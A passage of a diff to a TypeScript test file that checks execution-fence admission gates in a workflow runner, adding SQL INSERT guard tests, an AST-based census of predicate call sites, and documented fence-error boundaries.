+        role: 'operator' as const,
+      },
+      init: runner,
+    },
   };
 }
 
@@ -491,12 +665,190 @@ function objectiveStore(): ObjectiveStore {
 // ---------------------------------------------------------------------------
 
 const ENTRIES: readonly Entry[] = [
+  {
+    name: 'FencedWorkflowsStorageD1.withInitialAdmission',
+    module: 'do-runner/fenced-workflows-d1.ts — final initial INSERT guard',
+    predicate: 'admitsRunStart',
+    prepare: async (fence, database, sqlite) => {
+      const workflowId = 'matrix-owned-initial';
+      const runId = nextRunId();
+      const execution = {
+        tablePrefix: '',
+        workflowId,
+        runId,
+        startToken: crypto.randomUUID(),
+      };
+      const attemptToken = crypto.randomUUID();
+      const startIdentity = {
+        owner: { kind: 'human' as const, id: 'matrix-owner' },
+        target: { kind: 'workflow' as const, id: workflowId },
+      };
+      const storage = createD1Storage({ binding: database });
+      let engineCalls = 0;
+      const workflow = createWorkflow({
+        id: workflowId,
+        inputSchema: z.object({}),
+        outputSchema: z.object({}),
+      })
+        .then(
+          createStep({
+            id: 'effect',
+            inputSchema: z.object({}),
+            outputSchema: z.object({}),
+            execute: async () => {
+              engineCalls += 1;
+              return {};
+            },
+          }),
+        )
+        .commit();
+      const mastra = new Mastra({
+        storage,
+        workflows: { [workflowId]: workflow },
+      });
+      await storage.init();
+      const domain = (await mastra.getStorage()?.getStore('workflows')) as
+        | FencedWorkflowsStorageD1
+        | undefined;
+      const capability = domain?.[FENCED_WORKFLOW_STORAGE];
+      if (!capability) throw new Error('composed owned capability is missing');
+      expect(capability.database).toBe(database);
+
+      const reservationStore = new StartIdempotencyStore(database);
+      const reserved = await reservationStore.reserve({
+        key: PROOF_KEY,
+        owner: startIdentity.owner,
+        targetKind: 'workflow',
+        targetId: workflowId,
+        mintRunId: () => runId,
+      });
+      const reservation = await reservationStore.claimReservation(
+        reserved.reservation,
+      );
+      if (!reservation) throw new Error('initial reservation is missing');
+
+      return {
+        nomination: PROOF_KEY,
+        invoke: async (carry) => {
+          const reading = await fence.read();
+          const expected = admitsRunStart(
+            reading,
+            carry ? PROOF_KEY : undefined,
+          );
+          const fenceBefore = sqlite
+            .prepare('SELECT * FROM flowsafe_execution_fence')
+            .get() as Record<string, unknown>;
+          const reservationBefore = sqlite
+            .prepare('SELECT * FROM flowsafe_start_idempotency WHERE key = ?')
+            .get(PROOF_KEY) as Record<string, unknown>;
+          const requestContext = {
+            [RUN_PROVENANCE_CONTEXT_KEY]: {
+              version: 2,
+              startToken: execution.startToken,
+              attemptToken,
+              startIdentity,
+              requestedBy: startIdentity.owner.id,
+              requestedByKind: startIdentity.owner.kind,
+              resumeCounts: [],
+            },
+          };
+          let attempts = 0;
+          try {
+            return await classify(async () => {
+              const { value, witness } = await capability.withInitialAdmission(
+                {
+                  execution,
+                  attemptToken,
+                  startIdentity,
+                  requestContext,
+                  fence,
+                  reservationStore,
+                  reservation,
+                  ...(carry
+                    ? {
+                        proof: {
+                          key: PROOF_KEY,
+                          mutationEpoch: reading.mutationEpoch,
+                          transitionRevision: reading.transitionRevision,
+                        },
+                      }
+                    : {}),
+                  onInitialWriteAttempt: () => {
+                    attempts += 1;
+                  },
+                },
+                () => workflow.createRun({ runId }),
+              );
+              expect(witness.execution).toEqual(execution);
+              expect(
+                JSON.parse(witness.row.snapshot).requestContext[
+                  RUN_PROVENANCE_CONTEXT_KEY
+                ].initialAdmission,
+              ).toBe(true);
+              expect(engineCalls).toBe(0);
+              const result = await value.start({
+                inputData: {},
+                requestContext: new RequestContext(
+                  Object.entries(requestContext),
+                ),
+              });
+              expect(result.status).toBe('success');
+            });
+          } finally {
+            // A post-INSERT decoder refusal must not hide an unauthorized row.
+            const snapshots = sqlite
+              .prepare(
+                'SELECT * FROM mastra_workflow_snapshot WHERE workflow_name = ? AND run_id = ?',
+              )
+              .all(workflowId, runId);
+            expect(snapshots, 'final SQL snapshot effects').toHaveLength(
+              expected ? 1 : 0,
+            );
+            expect(
+              sqlite
+                .prepare(
+                  'SELECT * FROM flowsafe_start_idempotency WHERE key = ?',
+                )
+                .get(PROOF_KEY),
+              'final SQL reservation effects',
+            ).toEqual(
+              expected
+                ? {
+                    ...reservationBefore,
+                    start_token: execution.startToken,
+                    start_table_prefix: execution.tablePrefix,
+                    start_workflow_id: workflowId,
+                  }
+                : reservationBefore,
+            );
+            expect(
+              sqlite.prepare('SELECT * FROM flowsafe_execution_fence').get(),
+              'final SQL proof effects',
+            ).toEqual(
+              expected && reading.state === 'proof-only'
+                ? {
+                    ...fenceBefore,
+                    proof_run_id: runId,
+                    proof_table_prefix: execution.tablePrefix,
+                    proof_workflow_id: workflowId,
+                    proof_start_token: execution.startToken,
+                    updated_at: expect.any(Number),
+                  }
+                : fenceBefore,
+            );
+            expect(attempts).toBe(1);
+            expect(engineCalls).toBe(expected ? 1 : 0);
+          }
+        },
+      };
+    },
+  },
   {
     name: 'RunnerRuntime.start',
     module: 'do-runner/runtime.ts — the closure guarantee for every mint',
     predicate: 'admitsRunStart',
-    prepare: async (fence) => {
-      const runtime = gatedRuntime(fence);
+    prepare: async (fence, database) => {
+      const runtime = await gatedRuntime(fence, database);
       return {
         nomination: PROOF_KEY,
         invoke: (carry) =>
@@ -504,6 +856,8 @@ const ENTRIES: readonly Entry[] = [
             runtime.start('gated', {
               runId: nextRunId(),
               inputData: {},
+              requestedBy: 'owner-1',
+              requestedByKind: 'human',
               ...(carry ? { idempotencyKey: PROOF_KEY } : {}),
             }),
           ),
@@ -514,12 +868,17 @@ const ENTRIES: readonly Entry[] = [
     name: 'RunnerRuntime.resume',
     module: 'do-runner/runtime.ts — the closure guarantee for every re-entry',
     predicate: 'admitsExistingRun',
-    prepare: async (fence) => {
-      const runtime = gatedRuntime(fence);
+    prepare: async (fence, database) => {
+      const runtime = await gatedRuntime(fence, database);
       const runId = nextRunId();
-      await runtime.start('gated', { runId, inputData: {} });
+      await runtime.start('gated', {
+        runId,
+        inputData: {},
+        requestedBy: 'owner-1',
+        requestedByKind: 'human',
+      });
       return {
-        nomination: runId,
+        nomination: await existingExecution(runtime, 'gated', runId),
         invoke: () =>
           classify(() =>
             runtime.resume('gated', runId, {
@@ -537,8 +896,9 @@ const ENTRIES: readonly Entry[] = [
     module:
       'do-runner/durable-object.ts — ahead of the recovery journal and the owner reservation',
     predicate: 'admitsRunStart',
-    prepare: async (fence) => {
-      const runner = matrixRunner(fence);
+    prepare: async (fence, database) => {
+      const runId = nextRunId();
+      const { runner } = await matrixRunner(fence, database, runId);
       return {
         nomination: PROOF_KEY,
         invoke: (carry) =>
@@ -546,7 +906,7 @@ const ENTRIES: readonly Entry[] = [
             runner.fetch(
               runnerRequest('/runs', {
                 workflowId: 'gated',
-                runId: nextRunId(),
+                runId,
                 inputData: {},
                 ...(carry ? { idempotencyKey: PROOF_KEY } : {}),
               }),
@@ -559,14 +919,22 @@ const ENTRIES: readonly Entry[] = [
     name: 'run object POST /:workflow/:run/resume',
     module: 'do-runner/durable-object.ts — ahead of the per-run operation lock',
     predicate: 'admitsExistingRun',
-    prepare: async (fence) => {
-      const runner = matrixRunner(fence);
+    prepare: async (fence, database) => {
       const runId = nextRunId();
-      await runner.fetch(
-        runnerRequest('/runs', { workflowId: 'gated', runId, inputData: {} }),
-      );
+      const { runner, runtime } = await matrixRunner(fence, database, runId);
+      expect(
+        await classify(() =>
+          runner.fetch(
+            runnerRequest('/runs', {
+              workflowId: 'gated',
+              runId,
+              inputData: {},
+            }),
+          ),
+        ),
+      ).toBe('admitted');
       return {
-        nomination: runId,
+        nomination: await existingExecution(runtime, 'gated', runId),
         invoke: () =>
           classify(() =>
             runner.fetch(
@@ -585,8 +953,15 @@ const ENTRIES: readonly Entry[] = [
     name: 'ApprovalService.decide',
     module: 'approval-api/service.ts — commits the decision, then resumes',
     predicate: 'admitsExistingRun',
-    prepare: async (fence) => {
+    prepare: async (fence, database) => {
       const runId = nextRunId();
+      const runtime = await gatedRuntime(fence, database);
+      await runtime.start('gated', {
+        runId,
+        inputData: {},
+        requestedBy: 'owner-1',
+        requestedByKind: 'human',
+      });
       const store = new InMemoryApprovalStore();
       const at = new Date(0).toISOString();
       await store.create({
@@ -597,12 +972,18 @@ const ENTRIES: readonly Entry[] = [
         connectors: [],
         priority: 'normal',
         status: 'pending',
+        requestedBy: 'owner-1',
+        requestedByKind: 'human',
         createdAt: at,
         updatedAt: at,
       });
-      const service = new ApprovalService({ store, executionFence: fence });
+      const service = new ApprovalService({
+        store,
+        executionFence: fence,
+        workflowTablePrefix: '',
+      });
       return {
-        nomination: runId,
+        nomination: await existingExecution(runtime, 'gated', runId),
         invoke: () =>
           classify(() =>
             service.decide(
@@ -618,25 +999,35 @@ const ENTRIES: readonly Entry[] = [
     name: 'thread object POST /signal',
     module: 'signals/thread-do-routes.ts — delivery into an existing run',
     predicate: 'admitsExistingRun',
-    prepare: async (fence) => {
+    prepare: async (fence, database) => {
       const runId = nextRunId();
+      const { agent, nomination, delivery, scope } = await matrixAgent(
+        fence,
+        database,
+        runId,
+      );
       const routes = createThreadSignalRoutes({
-        resolveAgent: () => matrixAgent(runId),
-        resolveResourceId: () => 'acme_owner',
+        resolveAgent: () => agent as unknown as Agent,
+        resolveResourceId: () => THREAD_ID,
       });
       return {
-        nomination: runId,
-        invoke: () =>
-          classify(() =>
+        nomination,
+        invoke: async () => {
+          const outcome = await classify(() =>
             routes(
               new Request('http://thread/signal', {
                 method: 'POST',
                 headers: { 'content-type': 'application/json' },
                 body: JSON.stringify({ contents: 'nudge' }),
               }),
-              threadScope(fence) as never,
+              scope,
             ),
-          ),
+          );
+          expect(delivery).toHaveBeenCalledTimes(
+            outcome === 'admitted' ? 1 : 0,
+          );
+          return outcome;
+        },
       };
     },
   },
@@ -644,10 +1035,10 @@ const ENTRIES: readonly Entry[] = [
     name: 'schedule router create',
     module: 'schedules/router.ts — authoring a standing fire',
     predicate: 'admitsWorkAuthoring',
-    prepare: async (fence) => {
+    prepare: async (fence, database) => {
       const router = createScheduleRouter({
         resolve: async () => actorContext(),
-        store: await schedulesDomain(),
+        store: await schedulesDomain(database),
         targetPolicy: TARGET_POLICY,
         validateThreadTarget: async () => undefined,
         executionFence: fence,
@@ -813,7 +1204,13 @@ const ENTRIES: readonly Entry[] = [
           listed += 1;
           return [];
         },
-      } as unknown as NotificationsStorage;
+        getNotification: async () => {
+          throw new Error('unexpected notification readback');
+        },
+        updateNotificationDeliveryIfUnchanged: async () => {
+          throw new Error('unexpected notification failure write');
+        },
+      } as unknown as NotificationDeliveryStorage;
       const tick = createNotificationDispatchTick({
         storage,
         topology: stubTopology(),
@@ -875,27 +1272,62 @@ const ENTRIES: readonly Entry[] = [
 // ---------------------------------------------------------------------------
 
 /**
- * Every place in `src/` that consults an admission predicate, and how the four
- * fence states are exercised against it.
+ * Every place in `src/` that consults an admission predicate or guards an
+ * initial INSERT in SQL, and how the four fence states are exercised against it.
  *
  * THIS IS THE LIST'S ENFORCEMENT. The drives above prove that the gates we know
  * about behave correctly; they can say nothing about a gate nobody added and
  * nothing about a gate someone deleted. The census below reads the source, so a
- * new call site fails until it is written down here — with either the matrix
+ * new boundary fails until it is written down here — with either the matrix
  * entry that drives it, or the suite that already does.
  *
- * `drivenBy` names a matrix entry above wherever one exists. The three that
- * name a test file instead are gates this file cannot reach without a seam that
- * production has no other reason to publish: two of them fire inside the
- * background-task host's private dispatch path, and one is the wake lane of a
- * route whose other arm IS driven here. Each is exercised across all four
- * states in the file named.
+ * `drivenBy` names a matrix entry above wherever one exists. Delegated suites
+ * exercise the background-task host's private dispatch paths, the serialized
+ * wake lane, and proof nomination's reservation/snapshot/readback checks.
+ * Their boundary-specific states and races live in the named test files.
  */
-const GATE_SITES: ReadonlyArray<{
+type GateSite = {
   file: string;
   predicate: PredicateName;
-  drivenBy: string;
-}> = [
+  sql?: 'initial-snapshot-insert';
+  delegate?: 'assertExistingRunAllowed' | 'proof.capture';
+};
+
+const GATE_SITES: ReadonlyArray<GateSite & { drivenBy: string }> = [
+  {
+    file: 'do-runner/execution-fence.ts',
+    predicate: 'admitsExistingRun',
+    // Captured reservation binding agrees with the requested proof generation.
+    drivenBy: 'do-runner/execution-fence.test.ts',
+  },
+  {
+    file: 'do-runner/execution-fence.ts',
+    predicate: 'admitsExistingRun',
+    // Bound current snapshot generation agrees with its reservation.
+    drivenBy: 'do-runner/execution-fence.test.ts',
+  },
+  {
+    file: 'do-runner/execution-fence.ts',
+    predicate: 'admitsExistingRun',
+    // A previously nominated generation agrees with this replay.
+    drivenBy: 'do-runner/execution-fence.test.ts',
+  },
+  {
+    file: 'do-runner/execution-fence.ts',
+    predicate: 'admitsExistingRun',
+    // Nomination RETURNING and response-loss convergence preserve the tuple.
+    drivenBy: 'do-runner/execution-fence.test.ts',
+  },
+  {
+    file: 'approval-api/service.ts',
+    predicate: 'admitsExistingRun',
+    drivenBy: 'ApprovalService.decide',
+  },
+  {
+    file: 'approval-api/service.ts',
+    predicate: 'admitsExistingRun',
+    drivenBy: 'ApprovalService.decide',
+  },
   {
     file: 'approval-api/service.ts',
     predicate: 'admitsExistingRun',
@@ -927,8 +1359,21 @@ const GATE_SITES: ReadonlyArray<{
   {
     file: 'do-runner/durable-object.ts',
     predicate: 'admitsExistingRun',
+    delegate: 'assertExistingRunAllowed',
     drivenBy: 'run object POST /:workflow/:run/resume',
   },
+  {
+    file: 'do-runner/fenced-workflows-d1.ts',
+    predicate: 'admitsRunStart',
+    sql: 'initial-snapshot-insert',
+    drivenBy: 'FencedWorkflowsStorageD1.withInitialAdmission',
+  },
+  {
+    file: 'do-runner/fenced-workflows-d1.ts',
+    predicate: 'admitsRunStart',
+    // Post-zero diagnosis, not the INSERT's final admission authority.
+    drivenBy: 'FencedWorkflowsStorageD1.withInitialAdmission',
+  },
   {
     file: 'do-runner/runtime.ts',
     predicate: 'admitsRunStart',
@@ -939,6 +1384,11 @@ const GATE_SITES: ReadonlyArray<{
     predicate: 'admitsExistingRun',
     drivenBy: 'RunnerRuntime.resume',
   },
+  {
+    file: 'do-runner/runtime.ts',
+    predicate: 'admitsExistingRun',
+    drivenBy: 'RunnerRuntime.resume',
+  },
   {
     file: 'goals/objective-routes.ts',
     predicate: 'admitsWorkAuthoring',
@@ -949,6 +1399,16 @@ const GATE_SITES: ReadonlyArray<{
     predicate: 'admitsWorkAuthoring',
     drivenBy: 'schedule router create',
   },
+  {
+    file: 'schedules/schedules-d1.ts',
+    predicate: 'admitsWorkAuthoring',
+    drivenBy: './schedules/schedules-d1.test.ts',
+  },
+  {
+    file: 'schedules/schedules-d1.ts',
+    predicate: 'admitsWorkAuthoring',
+    drivenBy: './schedules/schedules-d1.test.ts',
+  },
   {
     file: 'schedules/tick.ts',
     predicate: 'admitsWorkAuthoring',
@@ -977,17 +1437,18 @@ const GATE_SITES: ReadonlyArray<{
   {
     file: 'signals/thread-do-routes.ts',
     predicate: 'admitsExistingRun',
-    // handleWake's own check, for the wake path it owns.
+    // Retained generation after application awaits.
+    drivenBy: 'thread object POST /signal',
+  },
+  {
+    file: 'signals/thread-do-routes.ts',
+    predicate: 'admitsExistingRun',
+    delegate: 'proof.capture',
+    // The serialized wake captures its own current generation.
     drivenBy: 'signals/thread-do-routes.test.ts',
   },
 ];
 
-/**
- * The files whose `admits*` mentions are not call sites: the module that
- * DEFINES the predicates, and the barrel that re-exports them.
- */
-const NOT_GATE_FILES = ['do-runner/execution-fence.ts', 'do-runner/index.ts'];
-
 type SourceFileSystem = {
   existsSync(path: string | URL): boolean;
   readdirSync(
@@ -1040,25 +1501,122 @@ function walkSourceFiles(
 }
 
 /**
- * Every `admits*(` call in the package's source, as (file, predicate) pairs.
+ * Every actual predicate/delegation call. Definitions, re-exports and comments
+ * are not calls; the defining module's own nomination gates remain visible.
  *
- * `process.getBuiltinModule` rather than an import: this package's test
- * tsconfig is workers-typed and carries no `@types/node`, so a static `node:`
- * specifier does not type-check. This is the schema guard's idiom for reaching
- * `node:sqlite`.
+ * The filesystem reader keeps the schema guard's getBuiltinModule idiom,
+ * without adding a direct Node ambient-type requirement to this test.
  */
-function gateCallSites(): Array<{ file: string; predicate: PredicateName }> {
-  const found: Array<{ file: string; predicate: PredicateName }> = [];
-  const pattern =
-    /\badmits(RunStart|ExistingRun|WorkAuthoring|DrainableExecution)\s*\(/g;
-  walkSourceFiles(sourceRoot(), ({ file, source }) => {
-    if (NOT_GATE_FILES.includes(file)) return;
-    for (const match of source.matchAll(pattern)) {
-      found.push({
-        file,
-        predicate: `admits${match[1] as string}` as PredicateName,
-      });
+function predicateCallSites({ file, source }: SourceFile): GateSite[] {
+  const found: GateSite[] = [];
+  const parsed = ts.createSourceFile(
+    file,
+    source,
+    ts.ScriptTarget.Latest,
+    true,
+  );
+  const visit = (node: ts.Node): void => {
+    if (ts.isCallExpression(node)) {
+      const expression = node.expression;
+      const name = ts.isIdentifier(expression)
+        ? expression.text
+        : ts.isPropertyAccessExpression(expression)
+          ? expression.name.text
+          : undefined;
+      if (
+        name &&
+        /^admits(?:RunStart|ExistingRun|WorkAuthoring|DrainableExecution)$/.test(
+          name,
+        )
+      ) {
+        found.push({ file, predicate: name as PredicateName });
+      } else if (name === 'assertExistingRunAllowed') {
+        found.push({ file, predicate: 'admitsExistingRun', delegate: name });
+      } else if (
+        name === 'capture' &&
+        ts.isPropertyAccessExpression(expression) &&
+        ts.isPropertyAccessExpression(expression.expression) &&
+        expression.expression.name.text === 'proof'
+      ) {
+        found.push({
+          file,
+          predicate: 'admitsExistingRun',
+          delegate: 'proof.capture',
+        });
+      }
+    }
+    ts.forEachChild(node, visit);
+  };
+  visit(parsed);
+  return found;
+}
+
+function sqlAdmissionSites({ file, source }: SourceFile): GateSite[] {
+  const parsed = ts.createSourceFile(
+    file,
+    source,
+    ts.ScriptTarget.Latest,
+    true,
+  );
+  const found: GateSite[] = [];
+  const admissionBindings = new Set<string>();
+  const collectBindings = (node: ts.Node): void => {
+    if (
+      ts.isVariableDeclaration(node) &&
+      ts.isIdentifier(node.name) &&
+      node.initializer &&
+      ts.isCallExpression(node.initializer) &&
+      ts.isIdentifier(node.initializer.expression) &&
+      node.initializer.expression.text === 'executionFenceAdmissionSql'
+    ) {
+      admissionBindings.add(node.name.text);
     }
+    ts.forEachChild(node, collectBindings);
+  };
+  collectBindings(parsed);
+  const visit = (node: ts.Node): void => {
+    if (
+      ts.isCallExpression(node) &&
+      ts.isPropertyAccessExpression(node.expression) &&
+      node.expression.name.text === 'prepare'
+    ) {
+      const argument = node.arguments[0];
+      if (
+        argument &&
+        (ts.isStringLiteral(argument) ||
+          ts.isNoSubstitutionTemplateLiteral(argument) ||
+          ts.isTemplateExpression(argument))
+      ) {
+        const sql = argument.getText(parsed).slice(1, -1);
+        const sharedGuard = /\bWHERE\s+\$\{\s*([\w$]+)\s*\}/i.exec(sql)?.[1];
+        if (
+          /^\s*INSERT\s+INTO\b/i.test(sql) &&
+          (/\bWHERE\s+EXISTS\s*\(\s*SELECT\s+1\s+FROM\s+(?:flowsafe_execution_fence|\$\{EXECUTION_FENCE_TABLE\})\s+AS\s+f\b/i.test(
+            sql,
+          ) ||
+            (sharedGuard !== undefined && admissionBindings.has(sharedGuard)))
+        ) {
+          found.push({
+            file,
+            predicate: 'admitsRunStart',
+            sql: 'initial-snapshot-insert',
+          });
+        }
+      }
+    }
+    ts.forEachChild(node, visit);
+  };
+  visit(parsed);
+  return found;
+}
+
+function gateCallSites(): GateSite[] {
+  const found: GateSite[] = [];
+  walkSourceFiles(sourceRoot(), (sourceFile) => {
+    found.push(
+      ...predicateCallSites(sourceFile),
+      ...sqlAdmissionSites(sourceFile),
+    );
   });
   return found;
 }
@@ -1067,9 +1625,10 @@ type FenceErrorName = 'ExecutionFencedError' | 'ExecutionFenceUnreadableError';
 
 /**
  * Every production site that AUTHORS a fence refusal or unreadable-store
- * failure. Each row states why the error is constructed before execution can
- * have an effect; the source scan below makes a new author fail until its
- * boundary is reviewed and recorded here. The census is deliberately lexical:
+ * failure. Each row states what the error refuses and what may already have
+ * happened. Reads and cleanup can fail after execution or durable writes;
+ * these errors alone establish neither quiescence nor no-insert authority. The scan makes a new author
+ * fail until its boundary is reviewed and recorded here. It is lexical:
  * a constructor spelling in a comment or string fails loud and asks for review.
  * Aliased class names and namespace imports are forbidden so lexical coverage
  * cannot be bypassed without first changing this test.
@@ -1078,99 +1637,454 @@ const FENCE_ERROR_AUTHORS: ReadonlyArray<{
   file: string;
   error: FenceErrorName;
   anchor: string;
-  beforeExecutionEffect: string;
+  effectBoundary: string;
 }> = [
+  {
+    file: 'do-runner/execution-admission.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'const current = candidate?.mutationEpoch;',
+    effectBoundary:
+      'The public epoch helper rejects malformed reading metadata before returning an admission comparison; it performs no execution.',
+  },
+  {
+    file: 'agent-host/thread-host.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'state.execution.owner.id !== expected.principal.id',
+    effectBoundary:
+      'An immutable selected owner or target mismatch refuses terminal cleanup before settlement or record deletion; the run may already have executed.',
+  },
+  {
+    file: 'agent-host/thread-host.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'record(state.snapshot.context?.input)?.agentId !== ref.agentId',
+    effectBoundary:
+      'A nonterminal or mismatched legacy observation cannot authorize the next cleanup effect or canonical record deletion; earlier authorized execution may already be durable.',
+  },
+  {
+    file: 'agent-host/thread-host.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'const [binding, current, journal] = await Promise.all([',
+    effectBoundary:
+      'A journal observed before or between legacy cleanup effects blocks further cleanup; earlier completed lifecycle effects are not rolled back and the journal remains authoritative.',
+  },
+  {
+    file: 'agent-host/thread-host.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor:
+      'if (recovery.startReservation && !scope.init.runtime.startIdempotency)',
+    effectBoundary:
+      'Keyed finalization requires the configured store before owner bookkeeping or journal clearing, including nonterminal results; it grants no new execution authority.',
+  },
+  {
+    file: 'agent-host/thread-host.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'const finalizeTerminalAgentState = async (',
+    effectBoundary:
+      'A legacy terminal observation cannot clear an existing recovery journal or its canonical record through ordinary cleanup, even after a successful resumed operation.',
+  },
+  {
+    file: 'agent-host/thread-host.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor:
+      'if (stored.startReservation && !scope.init.runtime.startIdempotency)',
+    effectBoundary:
+      'Captured keyed recovery refuses missing store wiring before any phase can settle H-owned bookkeeping or erase its original claim journal.',
+  },
+  {
+    file: 'agent-host/thread-host.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'const journal = await options',
+    effectBoundary:
+      'After a legacy termination transition, a present journal blocks ordinary cleanup rather than inventing modern settlement authority; the durable transition may already have completed.',
+  },
+  {
+    file: 'agent-host/thread-host.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'cleanup.scheduleDispatch?.dispatchId !==',
+    effectBoundary:
+      'A selected legacy cleanup descriptor must agree with the authorized transition before approval, dispatch, owner or completion effects; a mismatched observation cannot retarget cleanup.',
+  },
+  {
+    file: 'do-runner/durable-object.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'async #finishRunOwner(',
+    effectBoundary:
+      'Keyed workflow finalization refuses a missing reservation store before settlement, owner bookkeeping and journal clearing, even when the selected outcome is nonterminal.',
+  },
+  {
+    file: 'do-runner/durable-object.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'async #recoverRunOwner(',
+    effectBoundary:
+      'Every workflow journal phase requires its configured claim store before recovery bookkeeping or Runtime recovery; this refusal retains the journal and grants no rollback.',
+  },
+  {
+    file: 'agent-host/thread-host.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: "if (stored.phase === 'prepared' && !localZero()) {",
+    effectBoundary:
+      'Prepared absence without local zero evidence retains the journal and record after H-only rollback; it cannot authorize another engine entry or prove earlier effects absent.',
+  },
+  {
+    file: 'agent-host/thread-host.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor:
+      'await options.resourceAccess().settleReservation(stored.token, release);',
+    effectBoundary:
+      'The final local-zero check refuses journal deletion if owning evidence changed during bookkeeping; completed rollback operations do not prove earlier execution absent.',
+  },
+  {
+    file: 'do-runner/durable-object.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: "if (recovery.phase === 'prepared' && !localZero()) {",
+    effectBoundary:
+      'Prepared absence retains the workflow journal after exact H rollback unless the current own catch proves a matching zero insert; unknown earlier effects never permit a retry.',
+  },
   {
     file: 'approval-api/service.ts',
     error: 'ExecutionFencedError',
     anchor: 'async #assertDecidable',
-    beforeExecutionEffect:
+    effectBoundary:
       'The admission check runs before decide() mutates the approval or resumes its run.',
   },
+  {
+    file: 'approval-api/service.ts',
+    error: 'ExecutionFencedError',
+    anchor: "if (fence === 'none')",
+    effectBoundary:
+      'A retained proof expectation without its fence refuses before committing an approval decision or resuming execution.',
+  },
+  {
+    file: 'approval-api/service.ts',
+    error: 'ExecutionFencedError',
+    anchor: 'const current = await fence.readCurrentRunExecution(execution);',
+    effectBoundary:
+      'After approval and separation-of-duty reads, the original generation must still match before the decision CAS or resume.',
+  },
   {
     file: 'background-tasks/host.ts',
     error: 'ExecutionFencedError',
     anchor: '#gated(executor',
-    beforeExecutionEffect:
+    effectBoundary:
       'The executor backstop refuses before calling a tool body when core supplies no suspension seam.',
   },
   {
     file: 'background-tasks/host.ts',
     error: 'ExecutionFencedError',
     anchor: 'async enqueue(',
-    beforeExecutionEffect:
+    effectBoundary:
       'The enqueue admission check runs before the manager creates a queued task row.',
   },
   {
     file: 'do-runner/durable-object.ts',
     error: 'ExecutionFencedError',
     anchor: 'const startFence =',
-    beforeExecutionEffect:
-      'The start route refuses before source lookup, recovery journalling, owner reservation, or runtime start.',
-  },
-  {
-    file: 'do-runner/durable-object.ts',
-    error: 'ExecutionFencedError',
-    anchor: 'const resumeFence =',
-    beforeExecutionEffect:
-      'The resume route refuses before handing the existing run to runtime.resume().',
+    effectBoundary:
+      'The authenticated start preflight refuses before recovery journalling, owner reservation, or Runtime execution admission.',
   },
   {
     file: 'do-runner/execution-fence.ts',
     error: 'ExecutionFencedError',
     anchor: 'export function executionFencedResponse',
-    beforeExecutionEffect:
+    effectBoundary:
       'The response helper only serializes an already-decided refusal and performs no execution effect.',
   },
   {
     file: 'do-runner/execution-fence.ts',
     error: 'ExecutionFenceUnreadableError',
-    anchor: 'function readingFromRow',
-    beforeExecutionEffect:
+    anchor: 'const execution = normalizeD1RunExecutionIdentity({',
+    effectBoundary:
+      'Malformed selected proof snapshots cannot supply generation authority; this reader performs no writes or engine entry.',
+  },
+  {
+    file: 'do-runner/execution-fence.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'returned.raw.proof_start_token !== null',
+    effectBoundary:
+      'A legacy proof setter cannot acknowledge modern generation metadata; this post-write decoder grants no execution or rollback authority.',
+  },
+  {
+    file: 'do-runner/execution-fence.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'returned.raw.updated_at !== expectedTime',
+    effectBoundary:
+      'Unexpected nomination RETURNING data refuses acknowledgement after a possible metadata write; it never enters an engine or proves no effects.',
+  },
+  {
+    file: 'do-runner/execution-fence.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'if (validateReturned(converged)) return true;',
+    effectBoundary:
+      'A lost nomination response without exact single-query convergence remains unreadable; the possible metadata write cannot authorize engine entry.',
+  },
+  {
+    file: 'do-runner/execution-fence.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'if (cause instanceof ExecutionFenceUnreadableError) throw cause;',
+    effectBoundary:
+      'The guarded nomination boundary preserves unreadable snapshot, reservation or fence observations without running execution or manufacturing write absence.',
+  },
+  {
+    file: 'do-runner/execution-fence.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'async readForAdmission():',
+    effectBoundary:
+      'The pure current-schema observation rejects missing or malformed metadata before engine entry; diagnostic/readback callers may follow a durable initial admission, so this error alone proves no absence.',
+  },
+  {
+    file: 'do-runner/execution-fence.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'if (stored.schemaStage > stage)',
+    effectBoundary:
       'Fence-row validation fails closed before any caller can admit execution.',
   },
   {
     file: 'do-runner/execution-fence.ts',
     error: 'ExecutionFenceUnreadableError',
-    anchor: 'async read(): Promise<ExecutionFenceReading>',
-    beforeExecutionEffect:
-      'A failed fence read becomes unreadable before an admission predicate can run.',
+    anchor: 'async #initialize(',
+    effectBoundary:
+      'Initialization validates administrative metadata without admitting execution.',
+  },
+  {
+    file: 'do-runner/execution-fence.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: '#decodeReturned(result:',
+    effectBoundary:
+      'A malformed metadata-write result refuses before a caller can admit execution.',
+  },
+  {
+    file: 'do-runner/execution-fence.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'if (receipt !== null)',
+    effectBoundary:
+      'An uncertain administrative CAS does not execute a run or schedule.',
   },
   {
     file: 'do-runner/execution-fence.ts',
     error: 'ExecutionFenceUnreadableError',
-    anchor: 'async recordProofRun(',
-    beforeExecutionEffect:
+    anchor: "reading?.state === 'proof-only'",
+    effectBoundary:
       'A failed proof-binding metadata write becomes unreadable before the runtime starts the run.',
   },
+  {
+    file: 'do-runner/fenced-workflows-d1.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'function terminalizationUnreadable(',
+    effectBoundary:
+      'Explicit initial-row terminalization never enters an engine or grants no-insert authority; malformed input observations or uncertain terminal writes refuse through this fixed operation boundary without replay.',
+  },
+  {
+    file: 'do-runner/run-provenance.ts',
+    error: 'ExecutionFenceUnreadableError',
